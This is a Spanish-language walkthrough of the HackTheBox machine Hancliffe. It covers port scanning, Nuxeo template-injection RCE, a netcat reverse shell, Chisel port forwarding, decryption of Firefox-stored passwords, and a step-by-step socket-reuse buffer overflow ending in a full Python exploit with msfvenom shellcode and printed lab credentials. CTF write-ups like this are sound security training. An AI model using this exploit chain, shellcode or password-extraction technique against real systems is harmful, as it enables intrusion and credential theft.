Hancliffe - HackTheBox

image

Comencé con un escaneo de Nmap para detectar puertos abiertos.

┌──(root💀kali)-[/home/kali]
└─$ nmap -sS --min-rate 5000 -v -n -Pn -p- 10.10.11.115 -o nmap.txt
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Warning: The -o option is deprecated. Please use -oN
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-12 04:53 EST
Initiating SYN Stealth Scan at 04:53
Scanning 10.10.11.115 [65535 ports]
Discovered open port 80/tcp on 10.10.11.115
Discovered open port 8000/tcp on 10.10.11.115
Discovered open port 9999/tcp on 10.10.11.115
Completed SYN Stealth Scan at 04:53, 26.41s elapsed (65535 total ports)
Nmap scan report for 10.10.11.115
Host is up (0.044s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE
80/tcp   open  http
8000/tcp open  http-alt
9999/tcp open  abyss

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.50 seconds
           Raw packets sent: 131086 (5.768MB) | Rcvd: 22 (968B)

Hice otro para identificar la versión de cada servicio.

┌──(root💀kali)-[/home/kali]
└─$ nmap -sCV -p80,8000,9999 10.10.11.115 -o services.txt
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-12 04:54 EST
Nmap scan report for 10.10.11.115
Host is up (0.056s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http    nginx 1.21.0
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.21.0
8000/tcp open  http    nginx 1.21.0
|_http-title: HashPass | Open Source Stateless Password Manager
|_http-server-header: nginx/1.21.0
9999/tcp open  abyss?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe: 
|     Welcome Brankas Application.
|     Username: Password:
|   NULL: 
|     Welcome Brankas Application.
|_    Username:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.92%I=7%D=3/12%Time=622C6DEE%P=x86_64-pc-linux-gnu%r(NU
SF:LL,27,"Welcome\x20Brankas\x20Application\.\nUsername:\x20")%r(GetReques
SF:t,31,"Welcome\x20Brankas\x20Application\.\nUsername:\x20Password:\x20")
SF:%r(HTTPOptions,31,"Welcome\x20Brankas\x20Application\.\nUsername:\x20Pa
SF:ssword:\x20")%r(FourOhFourRequest,31,"Welcome\x20Brankas\x20Application
SF:\.\nUsername:\x20Password:\x20")%r(JavaRMI,31,"Welcome\x20Brankas\x20Ap
SF:plication\.\nUsername:\x20Password:\x20")%r(GenericLines,31,"Welcome\x2
SF:0Brankas\x20Application\.\nUsername:\x20Password:\x20")%r(RTSPRequest,3
SF:1,"Welcome\x20Brankas\x20Application\.\nUsername:\x20Password:\x20")%r(
SF:RPCCheck,31,"Welcome\x20Brankas\x20Application\.\nUsername:\x20Password
SF::\x20")%r(DNSVersionBindReqTCP,31,"Welcome\x20Brankas\x20Application\.\
SF:nUsername:\x20Password:\x20")%r(DNSStatusRequestTCP,31,"Welcome\x20Bran
SF:kas\x20Application\.\nUsername:\x20Password:\x20")%r(Help,31,"Welcome\x
SF:20Brankas\x20Application\.\nUsername:\x20Password:\x20")%r(TerminalServ
SF:erCookie,31,"Welcome\x20Brankas\x20Application\.\nUsername:\x20Password
SF::\x20")%r(TLSSessionReq,31,"Welcome\x20Brankas\x20Application\.\nUserna
SF:me:\x20Password:\x20")%r(Kerberos,31,"Welcome\x20Brankas\x20Application
SF:\.\nUsername:\x20Password:\x20")%r(SMBProgNeg,31,"Welcome\x20Brankas\x2
SF:0Application\.\nUsername:\x20Password:\x20")%r(X11Probe,31,"Welcome\x20
SF:Brankas\x20Application\.\nUsername:\x20Password:\x20")%r(LPDString,31,"
SF:Welcome\x20Brankas\x20Application\.\nUsername:\x20Password:\x20")%r(LDA
SF:PSearchReq,31,"Welcome\x20Brankas\x20Application\.\nUsername:\x20Passwo
SF:rd:\x20")%r(LDAPBindReq,31,"Welcome\x20Brankas\x20Application\.\nUserna
SF:me:\x20Password:\x20")%r(SIPOptions,31,"Welcome\x20Brankas\x20Applicati
SF:on\.\nUsername:\x20Password:\x20")%r(LANDesk-RC,31,"Welcome\x20Brankas\
SF:x20Application\.\nUsername:\x20Password:\x20")%r(TerminalServer,31,"Wel
SF:come\x20Brankas\x20Application\.\nUsername:\x20Password:\x20")%r(NCP,31
SF:,"Welcome\x20Brankas\x20Application\.\nUsername:\x20Password:\x20")%r(N
SF:otesRPC,31,"Welcome\x20Brankas\x20Application\.\nUsername:\x20Password:
SF:\x20")%r(WMSRequest,31,"Welcome\x20Brankas\x20Application\.\nUsername:\
SF:x20Password:\x20");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 155.32 seconds

La página principal tenía lo siguiente:

https://imgur.com/QVu20GJ.png

nginx, nada interesante, y por el puerto 8000:

https://imgur.com/pUIBwny.png

Parecía ser algún tipo de generador de contraseñas basándose en lo que le ponías, hice una prueba.

https://imgur.com/M4OqzeN.png

Me genero una contraseña, pero no me servía para nada, lo deje en segundo plano y me conecte al puerto ‘9999’ por nc.

https://imgur.com/BJhrGTy.png

Era un aplicativo que te pedía credenciales que no tenía, por lo que recurrí a hacer fuzzing a la página principal y encontré el directorio maintentance que me llamo la atención.

https://imgur.com/jVQHWzg.png

Accediendo al recurso hacia un redirect hacia un 404 Not Found.

image

Envíe una petición GET a ese recurso para ver las cabeceras de respuesta.

https://imgur.com/VtBaDIY.png

El redirect lo aplica por la cabecera Location, probé a acceder a un recurso que no existe con ..; porque en el servidor estaba corriendo java y podría funcionar.

image

Y si, no me aplico el redirect, esto me llamo la atención, así que probé a hacer fuzzing haciendo uso de ..; y encontré muchos recursos.

https://imgur.com/fTVOduw.png

/login.jsp, accediendo encontré un panel de login.

https://imgur.com/lFPcD5L.png

Abajo del todo estaba la versión de nuxeo, hice una pequeña búsqueda en busca de exploits.

https://imgur.com/CMlGYZ1.png

Este enviaba una petición GET a una ruta dada aprovechando lo que parecía ser un SSTI.

https://imgur.com/600N9F1.png

Inmediatamente, probé a verificar si era vulnerable.

https://imgur.com/00IxCqb.png

Y si era vulnerable, me reporto 14 en el resultado del error.

https://imgur.com/00IxCqb.png

Ahora solo me faltaba encontrar la manera de ganar RCE, en PayloadAllTheThings encontré sentencias maliciosas que me permitieron ganar ejecución de código arbitrario.

image

Para verificarlo, puse tcpdump en escucha de trazas ICMP.

https://imgur.com/2bSFUJ7.png

Tras recibir las trazas ICMP solo me faltaba ganar acceso a la máquina, abrí un servidor de Python alojando nc64.exe y me lo descargue desde la máquina víctima con curl, lo exporte a C:\programdata\, ya que tenía capacidad de escritura.

https://imgur.com/8AqlCuO.png

Envíe otra petición entablándome una conexión TCP desde el nc64.exe de la víctima.

https://imgur.com/IX1RYc1.png

Y gane acceso como usuario svc_account, cambie al directorio raíz y había lo siguiente.

https://imgur.com/aizIIGt.png

Nada fuera de lo normal, tampoco tenía capacidad de lectura de la flag, viendo los puertos que estaban corriendo internamente en la máquina, encontré los siguientes:

https://imgur.com/gFhoGq9.png

Para enumerar los puertos por su nombre e información adicional, utilicé el siguiente comando en PowerShell:

https://imgur.com/OGvrlik.png

Estaba corriendo este binario que me llamo la atención por el puerto 9511, lo deje en segundo plano.

https://imgur.com/6P7N8oQ.png

Tras una pequeña vista de todos los puertos que había, hubo uno que tras una pequeña búsqueda en Google lo delato, el puerto 9512, encontré un exploit de Unified Remote.

image

Le tenía que pasar la IP del servidor vulnerable, el puerto y un binario malicioso, ya que este me haría el certutil para la descarga del mismo y me lo ejecutaría.

https://imgur.com/NzkjYiL.png

El puerto 9512 estaba abierto internamente por lo que no tenía alcance desde fuera, por ello hice un reenvío de puertos con Chisel, abrí un servidor en mí máquina.

https://imgur.com/vi2CJsZ.png

Y desde la otra máquina me conecté como cliente al servidor por el puerto 8888.

https://imgur.com/7ehkGMC.png

Y ya tenía el puerto 9512 accesible en mí localhost, lo verifiqué con netstat -nat.

https://imgur.com/pqukMpB.png

Ejecute el exploit.

https://imgur.com/pgR0W4k.png

Y gane acceso a la máquina como el usuario clara.

https://imgur.com/m7hDmSQ.png

Y ya tenía acceso a la flag del usuario.

evqvQWe

Enumerando bien, encontré dos directorios de usuario de Firefox.

https://imgur.com/3bDNgkV.png

El primero no tenía nada.

https://imgur.com/MmCXphV.png

El otro tenía muchos archivos y carpetas por lo que decidí descargármelos a mí máquina, abrí un servidor SMB.

https://imgur.com/796GNli.png

Me copié el directorio ljftf853.default-release a mi unidad con copy -recurse ljftf853.default-release \\10.10.16.53\files, tenía un archivo llamativo llamado logins.json.

https://imgur.com/j9YqIgA.png

Tenía una encryptedPassword la cual podía descifrar si tenía el archivo key4.db o key3.db, lo cual tenía el primero, utilice la herramienta firepwd.py para ello, esta permitía descifrar contraseña protegidas por Mozilla.

https://imgur.com/bsThYSG.png

┌──(root💀kali)-[/home/kali]
└─$ python3 firepwd.py -d ../ljftf853.default-release                                                   
globalSalt: b'9a30912b4d63331f8493789d7b0fce68520f9265'
 SEQUENCE {
   SEQUENCE {
     OBJECTIDENTIFIER 1.2.840.113549.1.5.13 pkcs5 pbes2
     SEQUENCE {
       SEQUENCE {
         OBJECTIDENTIFIER 1.2.840.113549.1.5.12 pkcs5 PBKDF2
         SEQUENCE {
           OCTETSTRING b'cda4b75c5041c6cc7114e053f012122ce92ada163d91df9306158a06d145998a'
           INTEGER b'01'
           INTEGER b'20'
           SEQUENCE {
             OBJECTIDENTIFIER 1.2.840.113549.2.9 hmacWithSHA256
           }
         }
       }
       SEQUENCE {
         OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC
         OCTETSTRING b'f8cea67900ed4b333ca56416f69a'
       }
     }
   }
   OCTETSTRING b'3f321c52f6534075d3d8915531d27df9'
 }
clearText b'70617373776f72642d636865636b0202'
password check? True
 SEQUENCE {
   SEQUENCE {
     OBJECTIDENTIFIER 1.2.840.113549.1.5.13 pkcs5 pbes2
     SEQUENCE {
       SEQUENCE {
         OBJECTIDENTIFIER 1.2.840.113549.1.5.12 pkcs5 PBKDF2
         SEQUENCE {
           OCTETSTRING b'8d0ed50896869dc856de82150164a1390a953b67792edac2a62315625836ff08'
           INTEGER b'01'
           INTEGER b'20'
           SEQUENCE {
             OBJECTIDENTIFIER 1.2.840.113549.2.9 hmacWithSHA256
           }
         }
       }
       SEQUENCE {
         OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC
         OCTETSTRING b'76eba390fe01807925d822a071da'
       }
     }
   }
   OCTETSTRING b'cde74fae29c28c791794371b447180cabce01b6927bac73199f192e557136c36'
 }
clearText b'9efbbfd986fd5bef94b032679b7679d09b1f51891601b6e50808080808080808'
decrypting login/password pairs
http://localhost:8000:b'hancliffe.htb',b'#@H@ncLiff3D3velopm3ntM@st3rK3y*!'

Y en cuestión de segundos la descifro, había otro usuario en el sistema llamado development.

https://imgur.com/Hkp5v0U.png

Esto realmente era una pista, si recordamos había una página de generación de contraseñas, entonces puse estas credenciales y el usuario development.

https://imgur.com/XMXafJq.png

La contraseña generada me podría servir para autenticarme por winrm haciendo uso del usuario development, ya que estaba dentro del grupo Remote Managment Users, pero no está expuesto, por lo que tuve que hacer otro reenvío de puertos del puerto ‘5985’, me abrí un servidor en mí máquina con Chisel por el puerto 8888 y me conecte como cliente desde la máquina víctima.

https://imgur.com/6GhBOVH.png

Ahora si, me autentique con el usuario development por winrm.

https://imgur.com/1HO6k3P.png


ESCALADA DE PRIVILEGIOS

Para la escalada me acordé del binario que corría por el puerto 9511 en la máquina llamado MyFirstApp.exe.

https://imgur.com/6P7N8oQ.png

Me lo transferí a mí máquina y le hice reversing con ghidra, habia una función _login con unas credenciales.

https://imgur.com/21LQBve.png

La contraseña parecía estar en base 64, la decodifiqué.

https://imgur.com/C9M15RW.png

Pero no me sirvió de nada hasta que vi las funciones _encrypt1 y _encrypt2.

https://imgur.com/rfJvtHv.png

Esta es _encrypt1, estaba remplazando la primera letra por la última y así sucesivamente, se estaba aplicando el algoritmo de codificación atbash.

La segunda, esta ROT47, remplaza un carácter ASCII con el carácter 47 después de él.

https://imgur.com/dhCcMBy.png

Primero hice el proceso inverso de Base 64, después atbash y finalmente ROT47, quedo esta contraseña.

https://imgur.com/5JrBaoL.png https://imgur.com/9T4jqCl.png

Analizando más el binario encontré está otra función llamada _SavedCreds, esta sirve para almacenar las credenciales, el problema es que usa strcpy para copiar el buffer que está definido en 50 bytes, esto provoca un desbordamiento del búfer.

https://imgur.com/rh4YpkS.png

Entrando un poco más en detalle en la función _login, veo que se está entablando una conexión, un socket con 400 bytes de longitud después de introducir algo en un campo llamado Input Your Code, este me llamo la atención, porque si me conecto al puerto 9999 desde nc y utilizo las credenciales que tengo…

https://imgur.com/DX2y69H.png

Exacto, este binario es el que está corriendo por el puerto 9999 externamente en la máquina y es vulnerable a BoF, por lo que le introduje muchas A y corrompió.

https://imgur.com/6EilS5h.png

Para aprovecharme de esto lo explote primero en local, inicie x32dbg y el binario.

image

Primero me cree una cadena especial con pattern_create para encontrar los bytes antes de sobrescribir EIP.

En el exploit comencé definiendo la librería pwn para poder interactuar con el binario, y sys para definir los argumentos que hay que pasarle, también defino una clase llamada Exploit con un inicializador al que le he pasado tres variables, que serian el usuario, la contraseña y el nombre, y finalmente defino un método que es por donde va a empezar el flujo del exploit.

#!/usr/bin/python3

from pwn import *
from sys import argv

class Exploit():

	def __init__(self, user, password, name):

		self.__user = user
		self.__password = password
		self.__name = name

	def socket_reuse(self):
  
		r = remote("192.168.1.145", argv[1])

		r.sendlineafter(b"Username: ",self.__user)
		r.sendlineafter(b"Password: ",self.__password)
		r.sendlineafter(b"FullName:",self.__name)	
		r.sendlineafter(b"Input Your Code:",payload)
		sleep(1)
		r.sendline(buf)

autopwn = Exploit(b'alfiansyah', b'K3r4j@@nM4j@pAh!T', 'Vickry Alfiansyah')

def main():
	autopwn.socket_reuse()

if __name__ == '__main__':
	main()

Comencé comprobando que el exploit funcionaba bien.

https://imgur.com/DjhCekr.png

Lo segundo que hice fue desactivar DEP, ya que de lo contrario no podría ejecutar instrucciones desde la pila, esto se puede hacer desde opciones de rendimiento.

image

Ahora si podía seguir, primeramente con pattern_create me cree una cadena especial diciéndole con cuentos bytes mi programa corrompe, le puse 200, esto es para saber cuantos bytes hay que pasarle antes de sobrescribir EIP.

https://imgur.com/59c7Dxy.png

En el script añadí la siguiente línea con la cadena generada por pattern_create en la variable payload.

payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag"

Tras ejecutar el exploit esta era la dirección que tenía EIP:

image

La copie y la pegue en pattern_offset.

https://imgur.com/8QkhGlx.png

Ahí esta, el offset son 66 bytes antes de sobrescribir EIP. Probé a enviar 100 B con la siguiente cadena actualizando la variable payload:

payload = 100*"\xBB"

Este fue el resultado:

image

Como se puede apreciar no están todas las B que he enviado, esto sucede porque el buffer definido está muy limitado, aquí tenemos un problema, ya que si no tenemos suficiente espacio no podremos inyectar nuestro shellcode, aquí hice uso de una técnica llamada socket reuse, se basa en la reutilización de sockets para inyectar shellcode, puesto que suele haber suficiente espacio para aprovechar. El siguiente paso fue hacer una búsqueda de direcciones que contengan jmp esp en la dirección de push ebp.

image

image

Este fue el resultado en la pestaña References.

image

Hice un breakpoint en una dirección parecida a la que estaba en push ebp, en este caso 719023A8, esta me iba a servir como “dirección de retorno”, la sume a la variable payload en little endian.

payload = 66*"xBB" + p32(0x719023A8)

image

Tras una ejecución del exploit ESP se convirtió en 023FFF18, después de darle en Step Into la dirección ESP se pasó a EIP.

image

EIP apuntaba al final de mis bytes y tenía que hacer que apunte desde el principio para que el flujo del programa vaya para abajo y pase por una dirección con el buffer del socket. Para ello lo que hice fue abrir nasm_shell.rb y restar 70 bytes porque el buffer son 66 bytes + 4 bytes de la dirección.

image

Este opcode lo añadí a la variable payload.

payload = 66*"xBB" + p32(0x719023A8) + b"\xeb\xb8"

Ya tenía EIP apuntando al principio de mi cadena.

image

Lo siguiente fue identificar la función recv del socket y hacer un breakpoint cuando hace la llamada.

image

Esto lo hice para ver la estructura de direcciones de la función recv.

image

La primera dirección es el descriptor que identifica al socket, la segunda el buffer para recibir los datos, en este caso el shellcode, la tercera la longitud, en este caso 400 bytes como hemos visto con ghidra y la última son las flags, estas direcciones se interpretan de abajo para arriba por eso tuve que adecuarlo a como están, esto se puede ver mejor de esta manera:

int recv(
  [in]  SOCKET s,
  [out] char   *buf,
  [in]  int    len,
  [in]  int    flags
);

Hice un push de ESP para apilarla al final del todo de la pila y luego hice un pop a eax para des apilar ESP y que EAX tenga la dirección de ESP.

  • Esto es lo que hace push y pop

Stack-sv

Corrí el programa y me hizo el push esp.

image

El valor que tenía en EAX era el siguiente:

image

Entonces ahora el valor de ESP tenía que estar al final, es decir, la última dirección de la pila.

image

Y ahora, tras hacer un pop eax, la dirección de ESP que es 023FFF28 estaba en el registro EAX.

image

Todo esto lo hice para poder hacer operaciones aritméticas y operaciones de entrada y salida con este registro, mi idea era que el descriptor del socket que estaba en la posición 60 este al final de la pila, la última dirección, para ello reste 60 a 18, ya que este debe estar adecuado al socket.

image

Tras hacer 0x60 - 0x18 el resultado fue 0x48, pero el resultado tenía un null byte, este no debía estar porque de lo contrario el exploit no funcionaria como debe, para evitar esto hice una suma de 0x230 porque no tenía null byte y le reste 0x48, el resultado fue 0x1E8, de esta manera el resultado no tenía un byte nulo y se comportaba de la misma forma.

image

En el script tenía los opcode que restaban 70 para posicionar ESP (actúa como “dirección de retorno”) al principio de las A y los opcode de push esp y pop eax, estos en la variable recv. La variable payload hacia los cálculos, suma recv a la cadena restante de A tras restar los 66 bytes a la longitud de recv y después suma la dirección de jmp esp a los opcode.

recv = b""
recv += b"\x54" 				          # -> push esp
recv += b"\x58" 				          # -> pop eax
recv += b"\x66\x05\x30\x02" 			# -> add ax, 0x230
recv += b"\x66\x2d\xe8\x01" 			# -> sub ax, 0x1E8

payload = recv + b"\xAA"*(66 - len(recv)) + p32(0x719023A8) + b"\xeb\xb8" # -> jmp $-70

Ahora bien, el valor del descriptor del socket lo tenía que almacenar en un registro para poder llamarlo después, en este caso ESI, lo que hice fue mover el valor de EAX que ahora contenía la dirección del descriptor del socket a ESI.

image

El opcode lo introduje en el exploit en la variable recv.

recv += b"\x8b\x30" # -> mov esi, [eax]

Ejecute el exploit y EAX tenía la dirección en la que estaba el descriptor del socket, 024BFF60.

image

Tras hacer un Step Into ya tenía almacenado el descriptor en ESI, ya tenía el descriptor del socket hecho, ahora solo me quedaba el buffer, la longitud y las flags, pero tenía un pequeño inconveniente, EIP ira para abajo donde se puede encontrar con ESP, esto podría generar problemas.

image

Para solucionarlo simplemente resté 70 bytes a ESP.

image

Esto lo hice porque así posiciono ESP por encima de EIP y no habrían problemas cuando EIP interprete para abajo.

image

Seguí con las flags, este valor tenía 0x00000000, podía usar EBX para almacenarlo, hice un xor a ebx porque da como resultado 0 y también le hice un push a EBX para apilarlo al final.

image image

Ahora simplemente podía sumar a EBX 410 bytes para hacer la longitud, ya que vale 0 y volver a hacer un push a EBX para apilar la longitud al final de la pila.

image

image

Así estaba quedando el exploit.

recv = b""
recv += b"\x54" 				# -> push esp
recv += b"\x58" 				# -> pop eax
recv += b"\x66\x05\x30\x02" 			# -> add ax, 0x230
recv += b"\x66\x2d\xe8\x01" 			# -> sub ax, 0x1E8
recv += b"\x8b\x30" 				# -> mov esi, dword [eax]
recv += b"\x83\xec\x70" 			# -> sub esp, 0x70
recv += b"\x31\xdb" 				# -> xor ebx, ebx
recv += b"\x53" 				# -> push ebx 
recv += b"\x66\x81\xc3\x10\x04" 		# -> add bx, 0x410
recv += b"\x53" 				# -> push ebx

payload = recv + b"\xAA"*(66 - len(recv)) + p32(0x719023A8) + b"\xeb\xb8" # -> jmp $-70

Ya que había restado 70 bytes en el ESP, hice que EBX tenga el valor de ESP para volver a sumar 70 bytes a EBX y caer en un punto intermedio donde están mis A, ahí pondré NOPS para que siga el flujo del programa vaya sin problemas hasta EBX que estará apuntando a la función de socket recv, la cual contendrá suficiente espacio para almacenar el shellcode.

image image

EBX ya tenía la misma dirección que ESP.

image

Hice un Step Info y se aplicó la suma de los 70 bytes, por lo que EBX ya estaba en un punto intermedio de las A.

image

El exploit estaba quedando así:

recv = b""
recv += b"\x54" 				# -> push esp
recv += b"\x58" 				# -> pop eax
recv += b"\x66\x05\x30\x02" 			# -> add ax, 0x230
recv += b"\x66\x2d\xe8\x01" 			# -> sub ax, 0x1E8
recv += b"\x8b\x30" 				# -> mov esi, dword [eax]
recv += b"\x83\xec\x70" 			# -> sub esp, 0x70
recv += b"\x31\xdb" 				# -> xor ebx, ebx
recv += b"\x53" 				# -> push ebx 
recv += b"\x66\x81\xc3\x10\x04" 		# -> add bx, 0x410
recv += b"\x53" 				# -> push ebx
recv += b"\x54"					# -> push esp	
recv += b"\x5b"					# -> pop ebx
recv += b"\x66\x83\xc3\x70"			# -> add bx, 0x70
recv += b"\x53"					# -> push ebx

payload = recv + b"\xAA"*(66 - len(recv)) + p32(0x719023A8) + b"\xeb\xb8" # -> jmp $-70

Ahora simplemente hice un push ebx que contenía el bufer y un push esi que contenía el descriptor del socket.

image

Ejecuto el exploit con los nuevos valores y este fue el resultado:

image

Perfecto!, ya tenía todos los valores correspondientes adecuados al socket, lo que único que faltaba era hacer la llamada, por lo cual necesitaba la dirección del socket, este lo extraje de ghidra.

image

Esta direcció la puse en EAX con mov eax, [0x719082ac] e hice una llamada a EAX.

image

Converti las A en NOPS y este es el aspecto que tenía el exploit.

recv = b""
recv += b"\x54" 				# -> push esp
recv += b"\x58" 				# -> pop eax
recv += b"\x66\x05\x30\x02" 			# -> add ax, 0x230
recv += b"\x66\x2d\xe8\x01" 			# -> sub ax, 0x1E8
recv += b"\x8b\x30" 				# -> mov esi, dword [eax]
recv += b"\x83\xec\x70" 			# -> sub esp, 0x70
recv += b"\x31\xdb" 				# -> xor ebx, ebx
recv += b"\x53" 				# -> push ebx 
recv += b"\x66\x81\xc3\x10\x04" 		# -> add bx, 0x410
recv += b"\x53" 				# -> push ebx
recv += b"\x54"					# -> push esp
recv += b"\x5b"					# -> pop ebx
recv += b"\x66\x83\xc3\x70"			# -> add bx, 0x70
recv += b"\x53"					# -> push ebx
recv += b"\x56" 				# -> push esi
recv += b"\xa1\xac\x82\x90\x71"			# -> mov eax, [0x719082ac]
recv += b"\xff\xd0"				# -> call eax

payload = recv + b"\x90"*(66 - len(recv)) + p32(0x719023A8) + b"\xeb\xb8" # -> jmp $-70

Ahora simplemente cree mi shellcode con msfvenom.

image

Lo introduje en el exploit y así quedo entero.

#!/usr/bin/python3

from pwn import *
from sys import argv
from time import sleep

class Exploit():

	def __init__(self, user, password, name):
		self.__user = user
		self.__password = password
		self.__name = name

	def socket_reuse(self):
	
		"""
		int recv(
  			[in]  SOCKET s, 0x
  			[out] char   *buf, -> 0x00be40f0
  			[in]  int    len, ->  0x00000410 
  			[in]  int    flags -> 0x00000000
		);
		"""
		# Cambiar a vuestro shellcode
		buf =  b""
    		buf += b"\xdb\xdc\xd9\x74\x24\xf4\xb8\x0c\x84\x35\xbe\x5a\x33"
    		buf += b"\xc9\xb1\x52\x31\x42\x17\x83\xc2\x04\x03\x4e\x97\xd7"
    		buf += b"\x4b\xb2\x7f\x95\xb4\x4a\x80\xfa\x3d\xaf\xb1\x3a\x59"
    		buf += b"\xa4\xe2\x8a\x29\xe8\x0e\x60\x7f\x18\x84\x04\xa8\x2f"
    		buf += b"\x2d\xa2\x8e\x1e\xae\x9f\xf3\x01\x2c\xe2\x27\xe1\x0d"
    		buf += b"\x2d\x3a\xe0\x4a\x50\xb7\xb0\x03\x1e\x6a\x24\x27\x6a"
    		buf += b"\xb7\xcf\x7b\x7a\xbf\x2c\xcb\x7d\xee\xe3\x47\x24\x30"
    		buf += b"\x02\x8b\x5c\x79\x1c\xc8\x59\x33\x97\x3a\x15\xc2\x71"
    		buf += b"\x73\xd6\x69\xbc\xbb\x25\x73\xf9\x7c\xd6\x06\xf3\x7e"
    		buf += b"\x6b\x11\xc0\xfd\xb7\x94\xd2\xa6\x3c\x0e\x3e\x56\x90"
    		buf += b"\xc9\xb5\x54\x5d\x9d\x91\x78\x60\x72\xaa\x85\xe9\x75"
    		buf += b"\x7c\x0c\xa9\x51\x58\x54\x69\xfb\xf9\x30\xdc\x04\x19"
    		buf += b"\x9b\x81\xa0\x52\x36\xd5\xd8\x39\x5f\x1a\xd1\xc1\x9f"
    		buf += b"\x34\x62\xb2\xad\x9b\xd8\x5c\x9e\x54\xc7\x9b\xe1\x4e"
    		buf += b"\xbf\x33\x1c\x71\xc0\x1a\xdb\x25\x90\x34\xca\x45\x7b"
    		buf += b"\xc4\xf3\x93\x2c\x94\x5b\x4c\x8d\x44\x1c\x3c\x65\x8e"
    		buf += b"\x93\x63\x95\xb1\x79\x0c\x3c\x48\xea\x39\xcb\x42\xdf"
    		buf += b"\x55\xc9\x62\x1e\x1d\x44\x84\x4a\x71\x01\x1f\xe3\xe8"
   		buf += b"\x08\xeb\x92\xf5\x86\x96\x95\x7e\x25\x67\x5b\x77\x40"
    		buf += b"\x7b\x0c\x77\x1f\x21\x9b\x88\xb5\x4d\x47\x1a\x52\x8d"
    		buf += b"\x0e\x07\xcd\xda\x47\xf9\x04\x8e\x75\xa0\xbe\xac\x87"
    		buf += b"\x34\xf8\x74\x5c\x85\x07\x75\x11\xb1\x23\x65\xef\x3a"
    		buf += b"\x68\xd1\xbf\x6c\x26\x8f\x79\xc7\x88\x79\xd0\xb4\x42"
  		buf += b"\xed\xa5\xf6\x54\x6b\xaa\xd2\x22\x93\x1b\x8b\x72\xac"
   		buf += b"\x94\x5b\x73\xd5\xc8\xfb\x7c\x0c\x49\x1b\x9f\x84\xa4"
    		buf += b"\xb4\x06\x4d\x05\xd9\xb8\xb8\x4a\xe4\x3a\x48\x33\x13"
    		buf += b"\x22\x39\x36\x5f\xe4\xd2\x4a\xf0\x81\xd4\xf9\xf1\x83"

		recv = b""
		recv += b"\x54" 				# -> push esp
		recv += b"\x58" 				# -> pop eax
		recv += b"\x66\x05\x30\x02" 			# -> add ax, 0x230
		recv += b"\x66\x2d\xe8\x01" 			# -> sub ax, 0x1E8
		recv += b"\x8b\x30" 				# -> mov esi, dword [eax]
		recv += b"\x83\xec\x70" 			# -> sub esp, 0x70
		recv += b"\x31\xdb" 				# -> xor ebx, ebx
		recv += b"\x53" 				# -> push ebx 
		recv += b"\x66\x81\xc3\x10\x04" 		# -> add bx, 0x410
		recv += b"\x53" 				# -> push ebx
		recv += b"\x54"					# -> push esp
		recv += b"\x5b"					# -> pop ebx
		recv += b"\x66\x83\xc3\x70"			# -> add bx, 0x70
		recv += b"\x53"					# -> push ebx
		recv += b"\x56" 				# -> push esi
		recv += b"\xa1\xac\x82\x90\x71"			# -> mov eax, [0x719082ac]
		recv += b"\xff\xd0"				# -> call eax
    
		payload = recv + b"\x90"*(66 - len(recv)) + p32(0x719023A8) + b"\xeb\xb8" # -> jmp $-70

		r = remote("10.10.11.115", argv[1])

		r.sendlineafter(b"Username: ",self.__user)
		r.sendlineafter(b"Password: ",self.__password)
		r.sendlineafter(b"FullName:",self.__name)	
		r.sendlineafter(b"Input Your Code:",payload)
		sleep(1)
		r.sendline(buf)

autopwn = Exploit(b'alfiansyah', b'K3r4j@@nM4j@pAh!T', 'Vickry Alfiansyah')

def main():
	autopwn.socket_reuse()

if __name__ == '__main__':
	main()

Simplemente, lo ejecute y gane acceso como Administrador

image

Y ya pude visualizar la flag.

tasca

Leave a comment